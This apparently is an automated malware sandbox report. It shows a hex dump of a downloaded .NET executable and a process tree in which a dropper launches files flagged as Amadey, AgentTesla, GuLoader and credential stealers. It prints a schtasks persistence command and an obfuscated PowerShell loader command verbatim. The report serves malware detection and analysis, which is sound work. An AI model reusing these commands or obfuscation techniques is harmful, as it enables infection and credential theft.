alt-svc: h3=":443"; ma=86400
2023-12-20 14:38:47 UTC	660	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a2 e9 7a 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 dc 0b 00 00 0a 00 00 00 00 00 00 9e fb 0b 00 00 20 00 00 00 00 0c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 0c 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELze0 @ @@
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 70 28 26 00 00 0a 26 00 de 00 2a 00 01 10 00 00 00 00 1a 00 0f 29 00 15 10 00 00 01 1b 30 02 00 69 00 00 00 00 00 00 00 00 73 27 00 00 0a 80 04 00 00 04 28 02 00 00 06 00 00 7e 04 00 00 04 7e 01 00 00 04 6f 28 00 00 0a 00 7e 04 00 00 04 02 6f 29 00 00 0a 00 7e 04 00 00 04 17 6f 2a 00 00 0a 00 7e 04 00 00 04 6f 2b 00 00 0a 26 7e 01 00 00 04 6f 2c 00 00 0a 00 00 de 15 26 00 72 01 00 00 70 72 41 00 00 70 28 26 00 00 0a 26 00 de 00 2a 00 00 00 01 10 00 00 00 00 11 00 42 53 00 15 10 00 00 01 13 30 02 00 46 00 00 00 01 00 00 11 00 28 02 00 00 06 00 02 7e 01 00 00 04 73 2d 00 00 0a 80 02 00 00 04 73 2e 00 00 0a 80 03 00 00 04 7e 02 00 00 04 7e 03 00 00 04 6f 2f 00 00 0a 26 7e 01 00 00 04 6f 2c 00 00 0a 00 7e 03 00 00 04 0a 2b 00 06 2a 00 00 13 30 02 00 51 00 00 Data Ascii: p(&&)0is'(~~o(~o)~o~o+&~o,&rprAp(&&BS0F(~s-s.~~o/&~o,~+0Q
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 30 05 00 a1 0b 00 00 00 00 00 00 00 02 73 44 00 00 0a 7d 0a 00 00 04 02 73 45 00 00 0a 7d 0b 00 00 04 02 73 45 00 00 0a 7d 0c 00 00 04 02 73 45 00 00 0a 7d 0d 00 00 04 02 73 45 00 00 0a 7d 0e 00 00 04 02 73 45 00 00 0a 7d 0f 00 00 04 02 73 45 00 00 0a 7d 10 00 00 04 02 73 45 00 00 0a 7d 23 00 00 04 02 73 45 00 00 0a 7d 11 00 00 04 02 73 45 00 00 0a 7d 12 00 00 04 02 73 45 00 00 0a 7d 13 00 00 04 02 73 45 00 00 0a 7d 14 00 00 04 02 73 45 00 00 0a 7d 15 00 00 04 02 73 45 00 00 0a 7d 16 00 00 04 02 73 45 00 00 0a 7d 17 00 00 04 02 73 45 00 00 0a 7d 18 00 00 04 02 73 45 00 00 0a 7d 19 00 00 04 02 73 45 00 00 0a 7d 1a 00 00 04 02 73 45 00 00 0a 7d 1b 00 00 04 02 73 45 00 00 0a 7d 1c 00 00 04 02 73 45 00 00 0a 7d 1d 00 00 04 02 73 45 00 00 0a 7d 1e 00 00 04 02 Data Ascii: 0sD}sE}sE}sE}sE}sE}sE}sE}#sE}sE}sE}sE}sE}sE}sE}sE}sE}sE}sE}sE}sE}sE}
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 4c 00 00 0a 6f 54 00 00 0a 00 02 7b 12 00 00 04 72 79 06 00 70 6f 55 00 00 0a 00 02 7b 13 00 00 04 72 8d 06 00 70 6f 53 00 00 0a 00 02 7b 13 00 00 04 20 8f 00 00 00 1f 16 73 4c 00 00 0a 6f 54 00 00 0a 00 02 7b 13 00 00 04 72 c1 06 00 70 6f 55 00 00 0a 00 02 7b 13 00 00 04 02 fe 06 11 00 00 06 73 57 00 00 0a 6f 58 00 00 0a 00 02 7b 14 00 00 04 72 d5 06 00 70 6f 53 00 00 0a 00 02 7b 14 00 00 04 20 8f 00 00 00 1f 16 73 4c 00 00 0a 6f 54 00 00 0a 00 02 7b 14 00 00 04 72 0b 07 00 70 6f 55 00 00 0a 00 02 7b 14 00 00 04 02 fe 06 13 00 00 06 73 57 00 00 0a 6f 58 00 00 0a 00 02 7b 15 00 00 04 72 23 07 00 70 6f 53 00 00 0a 00 02 7b 15 00 00 04 20 8f 00 00 00 1f 16 73 4c 00 00 0a 6f 54 00 00 0a 00 02 7b 15 00 00 04 72 57 07 00 70 6f 55 00 00 0a 00 02 7b 15 00 00 04 Data Ascii: LoT{rypoU{rpoS{ sLoT{rpoU{sWoX{rpoS{ sLoT{rpoU{sWoX{r#poS{ sLoT{rWpoU{
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 00 00 1f 16 73 4c 00 00 0a 6f 54 00 00 0a 00 02 7b 22 00 00 04 72 47 0b 00 70 6f 55 00 00 0a 00 02 7b 22 00 00 04 02 fe 06 19 00 00 06 73 57 00 00 0a 6f 58 00 00 0a 00 02 22 00 00 c0 40 22 00 00 50 41 73 59 00 00 0a 28 5a 00 00 0a 00 02 17 28 5b 00 00 0a 00 02 20 ff 00 00 00 20 e0 00 00 00 20 c0 00 00 00 28 5c 00 00 0a 6f 5d 00 00 0a 00 02 20 1b 02 00 00 20 6b 01 00 00 73 4c 00 00 0a 28 5e 00 00 0a 00 02 28 5f 00 00 0a 02 7b 0a 00 00 04 6f 60 00 00 0a 00 02 02 7b 0a 00 00 04 28 61 00 00 0a 00 02 72 6f 0b 00 70 28 4b 00 00 0a 00 02 72 7b 0b 00 70 6f 4f 00 00 0a 00 02 02 fe 06 09 00 00 06 73 57 00 00 0a 28 62 00 00 0a 00 02 7b 0a 00 00 04 16 6f 63 00 00 0a 00 02 7b 0a 00 00 04 6f 64 00 00 0a 00 02 16 28 63 00 00 0a 00 02 28 64 00 00 0a 00 2a 5e 02 14 7d 24 Data Ascii: sLoT{"rGpoU{"sWoX"@"PAsY(Z([ (\o] ksL(^(_{o`{(arop(Kr{poOsW(b{oc{od(c(d*^}$
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 22 00 00 06 00 00 de 05 26 00 00 de 00 00 2a 00 01 10 00 00 00 00 9d 00 27 c4 00 05 1d 00 00 01 13 30 02 00 bd 00 00 00 00 00 00 00 00 02 7b 32 00 00 04 17 6f 66 00 00 0a 00 02 7b 30 00 00 04 16 6f 66 00 00 0a 00 02 7b 31 00 00 04 16 6f 66 00 00 0a 00 02 7b 2f 00 00 04 16 6f 66 00 00 0a 00 02 7b 2e 00 00 04 16 6f 66 00 00 0a 00 02 28 22 00 00 06 00 02 7b 2a 00 00 04 72 63 0c 00 70 6f 4f 00 00 0a 00 02 7b 27 00 00 04 72 a6 10 00 70 6f 4f 00 00 0a 00 02 7b 26 00 00 04 72 ac 10 00 70 6f 4f 00 00 0a 00 02 7b 3d 00 00 04 72 63 0c 00 70 6f 4f 00 00 0a 00 02 7b 3a 00 00 04 72 63 0c 00 70 6f 4f 00 00 0a 00 02 7b 3f 00 00 04 72 63 0c 00 70 6f 4f 00 00 0a 00 02 7b 2a 00 00 04 17 6f 66 00 00 0a 00 2a 00 00 00 1b 30 03 00 f4 00 00 00 0d 00 00 11 00 00 73 6d 00 00 0a Data Ascii: "&'0{2of{0of{1of{/of{.of("{rcpoO{'rpoO{&rpoO{=rcpoO{:rcpoO{?rcpoO{of0sm
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 00 0a 00 02 7b 3f 00 00 04 1f 41 6f 4e 00 00 0a 00 02 7b 3a 00 00 04 20 9e 01 00 00 1f 2d 73 49 00 00 0a 6f 4a 00 00 0a 00 02 7b 3a 00 00 04 72 e0 10 00 70 6f 4b 00 00 0a 00 02 7b 3a 00 00 04 20 c9 00 00 00 1f 14 73 4c 00 00 0a 6f 4d 00 00 0a 00 02 7b 3a 00 00 04 1f 40 6f 4e 00 00 0a 00 02 7b 3b 00 00 04 17 6f 7e 00 00 0a 00 02 7b 3b 00 00 04 20 50 01 00 00 1f 51 73 49 00 00 0a 6f 4a 00 00 0a 00 02 7b 3b 00 00 04 72 f8 10 00 70 6f 4b 00 00 0a 00 02 7b 3b 00 00 04 1f 2c 1f 0d 73 4c 00 00 0a 6f 4d 00 00 0a 00 02 7b 3b 00 00 04 1f 3f 6f 4e 00 00 0a 00 02 7b 3b 00 00 04 72 06 11 00 70 6f 4f 00 00 0a 00 02 7b 3c 00 00 04 17 6f 7e 00 00 0a 00 02 7b 3c 00 00 04 20 50 01 00 00 1f 30 73 49 00 00 0a 6f 4a 00 00 0a 00 02 7b 3c 00 00 04 72 16 11 00 70 6f 4b 00 00 0a Data Ascii: {?AoN{: -sIoJ{:rpoK{: sLoM{:@oN{;o~{; PQsIoJ{;rpoK{;,sLoM{;?oN{;rpoO{<o~{< P0sIoJ{<rpoK
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 00 00 0a 00 02 7b 2d 00 00 04 20 77 02 00 00 1f 41 73 4c 00 00 0a 6f 4d 00 00 0a 00 02 7b 2d 00 00 04 17 6f 4e 00 00 0a 00 02 7b 2e 00 00 04 20 d3 01 00 00 1f 13 73 49 00 00 0a 6f 4a 00 00 0a 00 02 7b 2e 00 00 04 72 64 12 00 70 6f 4b 00 00 0a 00 02 7b 2e 00 00 04 1f 4b 1f 17 73 4c 00 00 0a 6f 4d 00 00 0a 00 02 7b 2e 00 00 04 1f 09 6f 4e 00 00 0a 00 02 7b 2e 00 00 04 72 72 12 00 70 6f 4f 00 00 0a 00 02 7b 2e 00 00 04 17 6f 86 00 00 0a 00 02 7b 2e 00 00 04 02 fe 06 28 00 00 06 73 57 00 00 0a 6f 87 00 00 0a 00 02 7b 2f 00 00 04 20 4a 01 00 00 1f 13 73 49 00 00 0a 6f 4a 00 00 0a 00 02 7b 2f 00 00 04 72 7a 12 00 70 6f 4b 00 00 0a 00 02 7b 2f 00 00 04 1f 69 1f 17 73 4c 00 00 0a 6f 4d 00 00 0a 00 02 7b 2f 00 00 04 1e 6f 4e 00 00 0a 00 02 7b 2f 00 00 04 72 94 12 Data Ascii: {- wAsLoM{-oN{. sIoJ{.rdpoK{.KsLoM{.oN{.rrpoO{.o{.(sWo{/ JsIoJ{/rzpoK{/isLoM{/oN{/r
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 00 13 30 03 00 41 04 00 00 00 00 00 00 00 02 73 90 00 00 0a 7d 41 00 00 04 02 73 91 00 00 0a 7d 42 00 00 04 02 73 77 00 00 0a 7d 43 00 00 04 02 73 91 00 00 0a 7d 44 00 00 04 02 73 77 00 00 0a 7d 45 00 00 04 02 73 79 00 00 0a 7d 46 00 00 04 02 73 79 00 00 0a 7d 47 00 00 04 02 7b 41 00 00 04 6f 46 00 00 0a 00 02 28 46 00 00 0a 00 02 7b 41 00 00 04 6f 5f 00 00 0a 02 7b 42 00 00 04 6f 60 00 00 0a 00 02 7b 41 00 00 04 6f 5f 00 00 0a 02 7b 43 00 00 04 6f 60 00 00 0a 00 02 7b 41 00 00 04 6f 5f 00 00 0a 02 7b 44 00 00 04 6f 60 00 00 0a 00 02 7b 41 00 00 04 6f 5f 00 00 0a 02 7b 45 00 00 04 6f 60 00 00 0a 00 02 7b 41 00 00 04 1f 0c 1f 0c 73 49 00 00 0a 6f 4a 00 00 0a 00 02 7b 41 00 00 04 72 b4 13 00 70 6f 4b 00 00 0a 00 02 7b 41 00 00 04 20 34 01 00 00 20 85 00 00 Data Ascii: 0As}As}Bsw}Cs}Dsw}Esy}Fsy}G{AoF(F{Ao_{Bo`{Ao_{Co`{Ao_{Do`{Ao_{Eo`{AsIoJ{ArpoK{A 4
2023-12-20 14:38:47 UTC	1369	IN	Data Raw: 6f 97 00 00 0a 00 00 2a 13 30 04 00 25 00 00 00 09 00 00 11 00 72 dc 15 00 70 72 c1 00 00 70 1a 1f 20 28 35 00 00 0a 0a 06 1c fe 01 0b 07 2c 08 00 28 41 00 00 0a 00 00 2a 00 00 00 13 30 02 00 2b 00 00 00 07 00 00 11 00 03 2c 0b 02 7b 48 00 00 04 14 fe 03 2b 01 16 0a 06 2c 0e 00 02 7b 48 00 00 04 6f 42 00 00 0a 00 00 02 03 28 43 00 00 0a 00 2a 00 13 30 03 00 65 05 00 00 00 00 00 00 00 02 73 90 00 00 0a 7d 49 00 00 04 02 73 76 00 00 0a 7d 4a 00 00 04 02 73 77 00 00 0a 7d 4b 00 00 04 02 73 79 00 00 0a 7d 4c 00 00 04 02 73 79 00 00 0a 7d 4d 00 00 04 02 73 76 00 00 0a 7d 4e 00 00 04 02 73 77 00 00 0a 7d 4f 00 00 04 02 73 76 00 00 0a 7d 50 00 00 04 02 73 77 00 00 0a 7d 51 00 00 04 02 7b 49 00 00 04 6f 46 00 00 0a 00 02 28 46 00 00 0a 00 02 7b 49 00 00 04 6f 5f Data Ascii: o0%rprp (5,(A0+,{H+,{HoB(C*0es}Isv}Jsw}Ksy}Lsy}Msv}Nsw}Osv}Psw}Q{IoF(F{Io_

Target ID:	0
Start time:	15:34:56
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
Imagebase:	0x510000
File size:	8'192 bytes
MD5 hash:	69994FF2F00EECA9335CCD502198E05B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	15:34:56
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	15:34:59
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\spfasiazx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a\spfasiazx.exe"
Imagebase:	0xd10000
File size:	661'504 bytes
MD5 hash:	ABA50AE31C5DF3EA0C2394C93D423AFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 27%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:35:01
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\spfasiazx.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\a\spfasiazx.exe
Imagebase:	0x810000
File size:	661'504 bytes
MD5 hash:	ABA50AE31C5DF3EA0C2394C93D423AFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:35:01
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 860
Imagebase:	0x790000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:35:03
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a\build3.exe"
Imagebase:	0xd20000
File size:	428'544 bytes
MD5 hash:	0099A99F5FFB3C3AE78AF0084136FAB3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000000.1704610716.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\Desktop\a\build3.exe, Author: Joe Security
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:35:03
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN build3.exe /TR "C:\Users\user\Desktop\a\build3.exe" /F
Imagebase:	0x9d0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:35:03
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:35:05
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\build3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\a\build3.exe
Imagebase:	0xd20000
File size:	428'544 bytes
MD5 hash:	0099A99F5FFB3C3AE78AF0084136FAB3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000000.1720533531.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:35:06
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\alex.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a\alex.exe"
Imagebase:	0xa80000
File size:	951'296 bytes
MD5 hash:	794FC2DA25B437BA1F88C2276B336C4D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:35:07
Start date:	20/12/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x990000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	15:35:07
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\wlanext.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a\wlanext.exe"
Imagebase:	0x400000
File size:	888'384 bytes
MD5 hash:	C810E663DD2ADA28C1BB8EE928F1372F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 0000000E.00000002.1771443730.0000000002846000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 38%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:35:09
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe"
Imagebase:	0x400000
File size:	4'338'576 bytes
MD5 hash:	F5F2EAC1231BBE457FEDD8AD2337F48C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:35:09
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32
Imagebase:	0x40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:35:09
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:35:13
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\Creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\a\Creal.exe"
Imagebase:	0x7ff738b60000
File size:	13'815'856 bytes
MD5 hash:	125A5C30FD99F5F53B2914E9F6CF1627
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 65%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:35:13
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Radiosensitivities Outerwear Opsigelsesaftalernes Spaanlst Afstrmningens Drosera Polyteisterne #>$Specterlikes = """He;udFMauMenRecLetUniBaoFonMa SpVmaAAnR p5Co3Th Ef{Es An Sy X UnpHuaIdrSiaComLa(Bi[ PSAutPhr BiHunShgSk]Mi`$StETetCyaLeglseLerOvnSne RsStiUnt RrFaeKlr PeSl2Ca4ba)Ub; F yd`$PaSkloMilFocSmrDeeinmDye Tr NnBieUn S=Ad S`$AkEDatSpaRogCheScr Ln He Ls Si ItHirFeeUnrRyeAr2 S4Sp.brLLoeUnnHagbat EhSu; K A Pl do Ph`$ImL EoTatSeuJas ObKolHuo KmSisSktOpe En AsWe7Vi3Da P=Re CaNDae MwFo- COUnbBajfieUncSatdi RsbGry BtFreDe[Ty] A Rd(Tf`$ SS AoInlGecEnrTjeMamUneStrStnPaeVa Li/Ja Fo2Al)At;Te up`$SvPbeoSowDrs V= S'PrS GUUn' S+Pr'ArBKoSIsTReRTeI BNPlGPr'Ne;Re I Pr Fr DrFAko FrBu( R`$DeS QtCoaIskAki FtStt PeTrrcrt ToInm PtAreDeo BrOpiLysHe= S0se;Po Zo`$KoSTotDeaDakIniHjt Ot Fe TrGatFioSemTjt LeSto KrHeiWisVu Ar-ChlLitFi Oo`$InSTeoOvlRecder SeSpmBaePar InRoesu;Ns No`$UnS LtSnaCikDriOctShtSeestrJatFloInmRet EeSpoAcrGaimrsMe+An=Mi2 A)Me{Pr Mo Vo Me An Ma P S Gr`$ PLProQut AuSesDibSklcho HmTrsSltOueEinkvs a7Ke3St[Pa`$HjS It PaAnk MiDetLstSteWorNotFooSumFutAnesaoPlrReiUdsKe/Mi2Vi] C Ch=Sw Sy[OrcDioAcnwavEmeFrrSetAs]Kl:Kl:MeTKuoAsB byAftKieBi(Co`$MuEPatGuaAag De QrIlnAnefesSpi Nt Kr TeDarJeeNo2Re4 P.Me`$CoP ToNawMysbr.PeIHjnElv EoHykAneSe(Sa`$MaS EtMaaFek Ri CtLntKoeeprNet PoIsm Bt HeSuo BrKniChsBr,Ca Vr2Mi) D,in T1Se6su)Ps;Ul Pr Ne`$ BLHyo DtBuu SsTib PlCooTumFasOntSteSenEmsmu7Sp3Af[Fo`$ SS NtFoaFlkKai LtDottaeVor BtUnoHem AtMaeInoBlr SiInsDe/Mo2Cr] A U=un Bs TuUnbOrs PeDiwMeeAgrSe8Pr Ir`$StLObougtLouSksvibTalDioNomHjsTotJaeSpnVasIn7 S3Mi[Us`$NeS ptNoaKok Pi Bt Tt deWarTatTso SmBetDeeDioAdr MisasEr/Br2De]Cu Re6 T4Em;bi Ma U Ho Sa} M An[ArSFltMar kiApnTrgCe]Le[FoSrayUnsPstmieKamTa.CoTCoeFrxCotSr. PEgenOlcBeoWrdUnihinnogRe]Tr:Sa:FrAkaSAlCTeIChIFr.VaGEnePrtSmSSitNorRui TnFagSc(Pa`$StLReo VtRau HsNdbAllPioMamGusIntPaeMenDes S7 V3Pu) Q;Un} A`$FuS ToGagPanPoeSifFooFigPre AdBuePirStnPaeSu0Am=ToVInAfeRLi5no3Ru Di'la1Te3Th3En9Sa3 E3Sp3Pr4Kr2 S5 s2BaDLa6UnEMi2Be4Tr2SkC M2InCBa'Ko;di`$SrSSyo AgDrnPte Tfaro ggTheOpdSte SrHdnMieHy1An=SlVAaAUlR I5Me3 B R' F0GaDBu2Hy9Ov2 S3St3 P2Vi2UnFVa3Py3Br2CoFzo2Un6Sl3 A4mi6spE P1Fe7 L2He9Fa2 AERa7Po3cl7 Q2Li6 FEBo1Tr5Dr2ThE V3Re3Fl2 H1Pr2Po6De2Sk5po0PeEDi2An1 B3 T4 C2Re9 M3 I6 S2Fa5Me0 IDEk2Pr5Um3Ba4Ob2Af8di2 CFOr2Un4Mo3 F3Ge' H;To`$NeS OoAfgAun TeCafbuoUtg weDadTeeChr AnOmeTh2De= RV KAViRFu5Ga3El Ca'cu0Fj7Br2pe5in3St4Di1Un0Ph3Te2Kn2FoFUn2 b3Dy0Sc1Gr2Sp4Al2Ou4Fd3Un2 W2 T5Ah3Le3Pa3 B3Me'Ko;La`$ThSEcoUngOvnPaeLyfSioCogUdeUnd peSarAmnNaeJe3Gi=kuVByAKoR V5st3Ar D'Ke1Ej3Ho3 m9 L3 B3kr3To4Br2Ra5Sl2RsDKo6MaE F1Ro2Bl3Tv5 D2SoE G3 A4de2Re9Id2ReDKa2Be5In6OeEVa0 T9un2SkERe3Sm4Am2Bu5su3St2Ol2AdFRa3Ly0Re1 I3Ga2Et5Fa3ya2 N3Co6Ba2 A9Me2Sk3Ri2 R5Fe3gr3 P6BeEVr0To8Er2Un1Pr2CeESo2In4ef2JaCMa2gu5 O1Sa2Qu2Sm5Th2De6Mo'Va; P`$tuSMaoPtgApnMeeHjf Ro BgPieOsdSle ErAknLge F4Fi= MVOpAecRSc5An3Zo Hu' S3or3Ra3Un4 H3Ti2Il2Fr9 T2FnEIn2 a7Hy'su; A`$HuSFooNagGen Ce SfHyoCog DeCldrreTerSanGee E5mo=ViV CAReRGe5Fo3Wo Pi'En0Tl7 E2 T5Fa3An4Ra0 aDMa2DoFSu2Fo4Co3Ne5ea2KiCSt2De5Dg0Jg8Va2Sv1Ud2 DECi2 H4 F2StCLi2Da5Qu'Ps;Un`$AkSCao pgPrnBeeBafDioTygUdePidBeeKorLinBoe I6Te=EnVVaAFrRKl5 S3Bi O' F1Sh2Co1Re4Fa1Af3Ba3 U0Sl2An5Pi2La3Vo2fo9Lu2bo1Co2SlC B0HjEDa2Li1 C2SeDSt2 T5Me6FyCSt6 P0Pa0Sp8Ch2Cy9Li2Gr4 F2 T5Co0Up2Sv3 U9Sc1 L3Do2Re9De2Po7Sa6UnCUd6An0St1Af0Fj3ch5Le2Ca2 I2 RCkr2Br9sk2Re3Af'da;Ud`$CuSPao MgSlnPreSifHaoKog TeAnd He IrHenBremu7Be=SnVByATrRHa5No3Fl Im'Ba1Ur2Sk3Un5su2PeEIr3 U4Pl2Jy9Am2EsD D2Fe5Bo6 